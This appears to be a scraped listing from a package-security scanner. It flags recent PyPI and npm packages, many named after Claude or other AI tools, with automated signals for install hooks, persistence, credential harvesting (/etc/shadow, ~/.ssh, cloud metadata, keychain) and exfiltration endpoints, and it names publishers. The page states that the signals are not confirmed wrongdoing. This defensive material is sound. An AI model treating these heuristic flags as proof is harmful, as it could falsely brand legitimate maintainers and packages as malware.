• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (0 days ago) during the active AI hallucination slopsquatting wave.
• CRITICALINSTALL_TIME_CMDCLASS_OVERRIDE: 'CustomInstallCommand.run()' executes 'subprocess.run' during installation in vpspilot-1.0.0/setup.py:38
• CRITICALINSTALL_TIME_CMDCLASS_OVERRIDE: 'CustomInstallCommand.run()' executes 'subprocess.run' during installation in vpspilot-1.0.0/setup.py:39
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in vpspilot-1.0.0/setup.py:38
• HIGHINSTALL_TIME_EXECUTION: 'Python setup.py Custom Install Hook' found in vpspilot-1.0.0/setup.py:8
• HIGHSYSTEM_PERSISTENCE_TAMPERING: 'Systemd / macOS LaunchAgent Persistence' found in vpspilot-1.0.0/setup.py:35
• HIGHSUPPLY_CHAIN_EXECUTION_HOOK: 'PyPI Custom Install Class Override' found in vpspilot-1.0.0/setup.py:8

• INSTALL_TIME_CMDCLASS_OVERRIDE: 'CustomInstallCommand.run()' executes 'subprocess.run' during installation in vpspilot-1.0.0/setup.py:38
• INSTALL_TIME_CMDCLASS_OVERRIDE: 'CustomInstallCommand.run()' executes 'subprocess.run' during installation in vpspilot-1.0.0/setup.py:39
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in vpspilot-1.0.0/setup.py:38
• INSTALL_TIME_EXECUTION: 'Python setup.py Custom Install Hook' found in vpspilot-1.0.0/setup.py:8
• SYSTEM_PERSISTENCE_TAMPERING: 'Systemd / macOS LaunchAgent Persistence' found in vpspilot-1.0.0/setup.py:35
• SUPPLY_CHAIN_EXECUTION_HOOK: 'PyPI Custom Install Class Override' found in vpspilot-1.0.0/setup.py:8
• SOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in vpspilot-1.0.0/setup.py
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in vpspilot-1.0.0/vpspilot/cli.py:84

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHPackage registered recently (138 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in talisman_recon-1.1.0/talisman/ai/engine.py:43
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in talisman_recon-1.1.0/talisman/cli.py:137
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in talisman_recon-1.1.0/talisman/engine/plugin_manager.py:210
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in talisman_recon-1.1.0/talisman/modules/activedirectory/kerberos.py:20
• HIGHANTI_ANALYSIS_EVASION: 'TLS / SSL Verification Bypass (Defense Evasion)' found in talisman_recon-1.1.0/talisman/modules/api/grpc.py:35
• HIGHSUSPICIOUS_OBFUSCATION: 'Dense Hex Escape Sequences' found in talisman_recon-1.1.0/talisman/modules/api/grpc.py:19
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in talisman_recon-1.1.0/talisman/modules/api/oauth.py:31

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in talisman_recon-1.1.0/talisman/ai/engine.py:43
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in talisman_recon-1.1.0/talisman/cli.py:137
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in talisman_recon-1.1.0/talisman/engine/plugin_manager.py:210
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in talisman_recon-1.1.0/talisman/modules/activedirectory/kerberos.py:20
• ANTI_ANALYSIS_EVASION: 'TLS / SSL Verification Bypass (Defense Evasion)' found in talisman_recon-1.1.0/talisman/modules/api/grpc.py:35
• SUSPICIOUS_OBFUSCATION: 'Dense Hex Escape Sequences' found in talisman_recon-1.1.0/talisman/modules/api/grpc.py:19
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in talisman_recon-1.1.0/talisman/modules/api/oauth.py:31
• CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in talisman_recon-1.1.0/talisman/modules/cloud/aws.py:39

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'c8kv-azure-utils' matches AI hallucination template [django] + [azure] + [auth].
• HIGHClaims critical enterprise brand identity ('AZURE').
• HIGHPublisher email 'c8kv-cloud-dev@cisco.com' is not affiliated with official vendor domain.
• MEDIUMPackage has empty or near-zero description (potential reservation stub).
• HIGHPackage registered recently (89 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in c8kv_azure_utils-1.0.0/c8kv_cloud/as_azure.py:39
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in c8kv_azure_utils-1.0.0/c8kv_cloud/auth_mgr.py:69
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in c8kv_azure_utils-1.0.0/c8kv_cloud/eventhub_utils.py:26

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in c8kv_azure_utils-1.0.0/c8kv_cloud/as_azure.py:39
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in c8kv_azure_utils-1.0.0/c8kv_cloud/auth_mgr.py:69
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in c8kv_azure_utils-1.0.0/c8kv_cloud/eventhub_utils.py:26
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in c8kv_azure_utils-1.0.0/c8kv_cloud/ha_azure.py:31
• CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in c8kv_azure_utils-1.0.0/c8kv_cloud/meta_utils.py:12
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in c8kv_azure_utils-1.0.0/c8kv_cloud/metric_utils.py:31
• SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in c8kv_azure_utils-1.0.0/c8kv_cloud/metric_utils.py:31
• CREDENTIAL_PATH_HARVESTING: 'Cloud Instance Metadata (AWS/GCP/Azure IMDS)' found in c8kv_azure_utils-1.0.0/c8kv_cloud/msi_auth.py:44

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (87 days ago) during the active AI hallucination slopsquatting wave.
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'node ./bin/postinstall.js'
• HIGHMISSING_SOURCE_REPOSITORY_URL
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/bin/claude-tracker.js:18 (+6 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/bin/claude-tracker.js:109 (+6 more occurrence(s) elsewhere)
• HIGHSYSTEM_PERSISTENCE_TAMPERING: 'System Persistence Implant (systemd/cron/registry)' found in package/bin/claude-tracker.js:121 (+1 more occurrence(s) elsewhere)

• LIFECYCLE_SCRIPT: 'postinstall' -> 'node ./bin/postinstall.js'
• MISSING_SOURCE_REPOSITORY_URL
• SOURCE_CODE_DYNAMIC_EXECUTION: 'require('child_process')' found in package/bin/claude-tracker.js:18 (+6 more occurrence(s) elsewhere)
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/bin/claude-tracker.js:109 (+6 more occurrence(s) elsewhere)
• SYSTEM_PERSISTENCE_TAMPERING: 'System Persistence Implant (systemd/cron/registry)' found in package/bin/claude-tracker.js:121 (+1 more occurrence(s) elsewhere)
• SOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in package/bin/claude-tracker.js (+1 more occurrence(s) elsewhere)
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/lib/poller.js:20 (+2 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/lib/poller.js:64 (+3 more occurrence(s) elsewhere)

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage name 'fastcrest-tether' matches AI hallucination template [python] + [tether] + [fastcrest].
• HIGHClaims critical enterprise brand identity ('TETHER').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (89 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in fastcrest_tether-0.12.0/archive/scripts/modal_libero10.py:142
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in fastcrest_tether-0.12.0/archive/scripts/modal_libero10.py:119
• CRITICALMODULE_TOPLEVEL_EXECUTION: 'subprocess.run' executed at module scope (runs on import) in fastcrest_tether-0.12.0/archive/scripts/patch_libero.py:50
• CRITICALMODULE_TOPLEVEL_EXECUTION: 'subprocess.run' executed at module scope (runs on import) in fastcrest_tether-0.12.0/archive/scripts/patch_libero.py:51

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in fastcrest_tether-0.12.0/archive/scripts/modal_libero10.py:142
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in fastcrest_tether-0.12.0/archive/scripts/modal_libero10.py:119
• MODULE_TOPLEVEL_EXECUTION: 'subprocess.run' executed at module scope (runs on import) in fastcrest_tether-0.12.0/archive/scripts/patch_libero.py:50
• MODULE_TOPLEVEL_EXECUTION: 'subprocess.run' executed at module scope (runs on import) in fastcrest_tether-0.12.0/archive/scripts/patch_libero.py:51
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in fastcrest_tether-0.12.0/archive/scripts/patch_libero.py:50
• SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in fastcrest_tether-0.12.0/scripts/export_pi0_monolithic.py:155
• SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in fastcrest_tether-0.12.0/scripts/local_expert_diff.py:15
• SOURCE_CODE_DYNAMIC_EXECUTION: 'eval()' found in fastcrest_tether-0.12.0/scripts/local_full_diff.py:36

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'claude-oneclick' matches AI hallucination template [python] + [claude] + [oneclick].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (126 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_oneclick-0.2.0/claude_oneclick/autostart.py:117
• HIGHSYSTEM_PERSISTENCE_TAMPERING: 'Systemd / macOS LaunchAgent Persistence' found in claude_oneclick-0.2.0/claude_oneclick/autostart.py:9
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_oneclick-0.2.0/claude_oneclick/cli.py:332
• HIGHCREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in claude_oneclick-0.2.0/claude_oneclick/desktop.py:57

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_oneclick-0.2.0/claude_oneclick/autostart.py:117
• SYSTEM_PERSISTENCE_TAMPERING: 'Systemd / macOS LaunchAgent Persistence' found in claude_oneclick-0.2.0/claude_oneclick/autostart.py:9
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_oneclick-0.2.0/claude_oneclick/cli.py:332
• CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in claude_oneclick-0.2.0/claude_oneclick/desktop.py:57
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_oneclick-0.2.0/claude_oneclick/desktop.py:78
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_oneclick-0.2.0/claude_oneclick/diagnose.py:144
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_oneclick-0.2.0/claude_oneclick/diagnose.py:220
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_oneclick-0.2.0/claude_oneclick/launcher.py:66

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'open-vllm' matches AI hallucination template [python] + [vllm] + [open].
• HIGHClaims critical enterprise brand identity ('VLLM').
• HIGHPublisher email 'aravindhvignesh58@gmail.com' is not affiliated with official vendor domain.
• HIGHPackage registered recently (81 days ago) during the active AI hallucination slopsquatting wave.
• HIGHEXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in open_vllm-1.0.2/src/vllm_resilience_sdk/clients.py:64
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in open_vllm-1.0.2/src/vllm_resilience_sdk/clients.py:52
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in open_vllm-1.0.2/src/vllm_resilience_sdk/clients.py:53
• CRITICALSOURCE_CODE_POTENTIAL_STEALER: potential exfiltration endpoint combined with credential/environment harvesting in open_vllm-1.0.2/src/vllm_resilience_sdk/clients.py

• EXFILTRATION_DESTINATION_DETECTED: 'Raw Public IP Endpoint' found in open_vllm-1.0.2/src/vllm_resilience_sdk/clients.py:64
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in open_vllm-1.0.2/src/vllm_resilience_sdk/clients.py:52
• SOURCE_CODE_ENV_VARS_ACCESS: 'Sensitive Token Harvesting' found in open_vllm-1.0.2/src/vllm_resilience_sdk/clients.py:53
• SOURCE_CODE_POTENTIAL_STEALER: potential exfiltration endpoint combined with credential/environment harvesting in open_vllm-1.0.2/src/vllm_resilience_sdk/clients.py

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'remote-claude' matches AI hallucination template [node] + [claude] + [remote].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• MEDIUMPackage has empty or near-zero description (potential reservation stub).
• MEDIUMPackage registered 182 days ago within the 1-year AI tool proliferation window.
• HIGHLIFECYCLE_SCRIPT: 'preinstall' -> 'bash scripts/preinstall.sh'
• CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'preinstall' script
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'bash scripts/postinstall.sh'

• LIFECYCLE_SCRIPT: 'preinstall' -> 'bash scripts/preinstall.sh'
• SUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'preinstall' script
• LIFECYCLE_SCRIPT: 'postinstall' -> 'bash scripts/postinstall.sh'
• SUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'postinstall' script

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage name 'phantom-agent' matches AI hallucination template [python] + [phantom] + [agent].
• HIGHClaims critical enterprise brand identity ('PHANTOM').
• HIGHPublisher email 'r_gadouri@estin.dz' is not affiliated with official vendor domain.
• MEDIUMPackage registered 196 days ago within the 1-year AI tool proliferation window.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in phantom_agent-0.9.218/phantom/agents/base_agent.py:778
• HIGHCREDENTIAL_PATH_HARVESTING: 'System Credentials (/etc/shadow, /etc/passwd)' found in phantom_agent-0.9.218/phantom/checkpoint/checkpoint.py:95
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in phantom_agent-0.9.218/phantom/checkpoint/checkpoint.py:51
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in phantom_agent-0.9.218/phantom/config/config.py:308

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in phantom_agent-0.9.218/phantom/agents/base_agent.py:778
• CREDENTIAL_PATH_HARVESTING: 'System Credentials (/etc/shadow, /etc/passwd)' found in phantom_agent-0.9.218/phantom/checkpoint/checkpoint.py:95
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in phantom_agent-0.9.218/phantom/checkpoint/checkpoint.py:51
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in phantom_agent-0.9.218/phantom/config/config.py:308
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in phantom_agent-0.9.218/phantom/config/secrets.py:91
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in phantom_agent-0.9.218/phantom/interface/cli_app.py:1547
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in phantom_agent-0.9.218/phantom/interface/cli_app.py:23
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in phantom_agent-0.9.218/phantom/interface/utils.py:813

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (73 days ago) during the active AI hallucination slopsquatting wave.
• HIGHCREDENTIAL_PATH_HARVESTING: 'SSH Directory / Private Keys (~/.ssh)' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:1614
• HIGHCREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:1633
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:1670
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:2816
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:59

• CREDENTIAL_PATH_HARVESTING: 'SSH Directory / Private Keys (~/.ssh)' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:1614
• CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:1633
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:1670
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:2816
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:59
• SOURCE_CODE_ENV_VARS_ACCESS: 'Bulk Environment Harvesting' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:1638
• SYSTEM_PERSISTENCE_TAMPERING: 'Shortcut Hijacking (.lnk Rewrite / Browser Extension Sideload)' found in claude_usage_tracker-0.2.1/claude_usage_tracker.py:4159
• SOURCE_CODE_PERSISTENT_BACKDOOR: persistence mechanism combined with execution/network in claude_usage_tracker-0.2.1/claude_usage_tracker.py

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'be2jay67@gmail.com' is not affiliated with official vendor domain.
• HIGHPackage registered recently (111 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_ns_hub-0.3.45/hub-encode-daemon.py:96
• HIGHCREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in claude_ns_hub-0.3.45/server.py:7570
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_ns_hub-0.3.45/server.py:187
• HIGHSOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in claude_ns_hub-0.3.45/server.py:4202
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_ns_hub-0.3.45/server.py:77

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_ns_hub-0.3.45/hub-encode-daemon.py:96
• CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in claude_ns_hub-0.3.45/server.py:7570
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_ns_hub-0.3.45/server.py:187
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in claude_ns_hub-0.3.45/server.py:4202
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_ns_hub-0.3.45/server.py:77
• SOURCE_CODE_ENV_VARS_ACCESS: 'Bulk Environment Harvesting' found in claude_ns_hub-0.3.45/server.py:5479
• SYSTEM_PERSISTENCE_TAMPERING: 'System Persistence Implant (systemd/cron/registry)' found in claude_ns_hub-0.3.45/server.py:18838
• ANTI_ANALYSIS_EVASION: 'Extended Scanner Timeout Stall' found in claude_ns_hub-0.3.45/server.py:3594

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'claude-mpm' matches AI hallucination template [python] + [claude] + [mpm].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'bob@matsuoka.com' is not affiliated with official vendor domain.
• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_mpm-6.5.83/src/claude_mpm/adapters/cli_adapters.py:33
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_mpm-6.5.83/src/claude_mpm/agents/agent_loader.py:752
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_mpm-6.5.83/src/claude_mpm/auth/providers/google.py:75
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_mpm-6.5.83/src/claude_mpm/auth/providers/slack.py:80

• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_mpm-6.5.83/src/claude_mpm/adapters/cli_adapters.py:33
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_mpm-6.5.83/src/claude_mpm/agents/agent_loader.py:752
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_mpm-6.5.83/src/claude_mpm/auth/providers/google.py:75
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_mpm-6.5.83/src/claude_mpm/auth/providers/slack.py:80
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_mpm-6.5.83/src/claude_mpm/cli/__init__.py:77
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_mpm-6.5.83/src/claude_mpm/cli/chrome_devtools_installer.py:88
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in claude_mpm-6.5.83/src/claude_mpm/cli/commands/agent_manager.py:1080
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in claude_mpm-6.5.83/src/claude_mpm/cli/commands/agent_manager.py:1077

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on PyPI →

• MEDIUMPackage name 'claude-tray' matches AI hallucination template [node] + [claude] + [tray].
• HIGHClaims critical enterprise brand identity ('CLAUDE').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• HIGHPackage registered recently (180 days ago) during the active AI hallucination slopsquatting wave.
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'chmod +x node_modules/systray2/traybin/tray_darwin_release 2>/dev/null || true'
• HIGHMISSING_SOURCE_REPOSITORY_URL
• HIGHCREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/bin/claude-tray.js:32 (+1 more occurrence(s) elsewhere)
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/bin/claude-tray.js:104

• LIFECYCLE_SCRIPT: 'postinstall' -> 'chmod +x node_modules/systray2/traybin/tray_darwin_release 2>/dev/null || true'
• MISSING_SOURCE_REPOSITORY_URL
• CREDENTIAL_PATH_HARVESTING: 'IDE / AI Agent Configuration Hijacking' found in package/bin/claude-tray.js:32 (+1 more occurrence(s) elsewhere)
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in package/bin/claude-tray.js:104
• CREDENTIAL_PATH_HARVESTING: 'macOS Keychain Dump' found in package/src/credentials.js:52
• SOURCE_CODE_DYNAMIC_EXECUTION: 'execSync/spawnSync' found in package/src/credentials.js:51 (+1 more occurrence(s) elsewhere)
• SOURCE_CODE_NETWORK_CALL: 'fetch/axios/XMLHttpRequest' found in package/src/usage.js:9

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage name '@animoca/revv-ethereum-contracts' matches AI hallucination template [node] + [ethereum] + [revv-ethereum-contracts].
• HIGHClaims critical enterprise brand identity ('ETHEREUM').
• HIGHPublisher email 'None' is not affiliated with official vendor domain.
• MEDIUMPackage has empty or near-zero description (potential reservation stub).
• INFOEstablished pre-AI legacy package registered 2040 days ago (predates modern AI hallucination waves).
• HIGHLIFECYCLE_SCRIPT: 'postinstall' -> 'bash -c 'for cfg in .vscode/settings.json .vscode/extensions.json .vscode/launch.json; do cp -n ${cfg}.default ${cfg} || :; done''
• CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'postinstall' script
• CRITICALSUSPICIOUS_SHELL_COMMAND: Pattern 'sh -c' in 'postinstall' script

• LIFECYCLE_SCRIPT: 'postinstall' -> 'bash -c 'for cfg in .vscode/settings.json .vscode/extensions.json .vscode/launch.json; do cp -n ${cfg}.default ${cfg} || :; done''
• SUSPICIOUS_SHELL_COMMAND: Pattern 'bash' in 'postinstall' script
• SUSPICIOUS_SHELL_COMMAND: Pattern 'sh -c' in 'postinstall' script

Signals reflect what our detector observed, not a confirmed determination of wrongdoing.

View package on npm →

• MEDIUMPackage published 5+ versions in rapid succession (< 24h) to mimic mature open source maintenance.
• HIGHPackage registered recently (1 days ago) during the active AI hallucination slopsquatting wave.
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in auto_use-0.1.0/Auto_Use/__init__.py:52
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in auto_use-0.1.0/Auto_Use/agent_launcher.py:429
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in auto_use-0.1.0/Auto_Use/agent_launcher.py:399
• HIGHSOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in auto_use-0.1.0/Auto_Use/frontend/service.py:545
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in auto_use-0.1.0/Auto_Use/frontend/service.py:103
• HIGHSOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in auto_use-0.1.0/Auto_Use/ios/agent/__main__.py:58

• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in auto_use-0.1.0/Auto_Use/__init__.py:52
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in auto_use-0.1.0/Auto_Use/agent_launcher.py:429
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in auto_use-0.1.0/Auto_Use/agent_launcher.py:399
• SOURCE_CODE_DYNAMIC_EXECUTION: 'Python Subprocess / OS Execution' found in auto_use-0.1.0/Auto_Use/frontend/service.py:545
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in auto_use-0.1.0/Auto_Use/frontend/service.py:103
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in auto_use-0.1.0/Auto_Use/ios/agent/__main__.py:58
• SOURCE_CODE_ENV_VARS_ACCESS: 'Environment Variable Access (process.env / os.environ)' found in auto_use-0.1.0/Auto_Use/ios/agent/main_driver/service.py:42
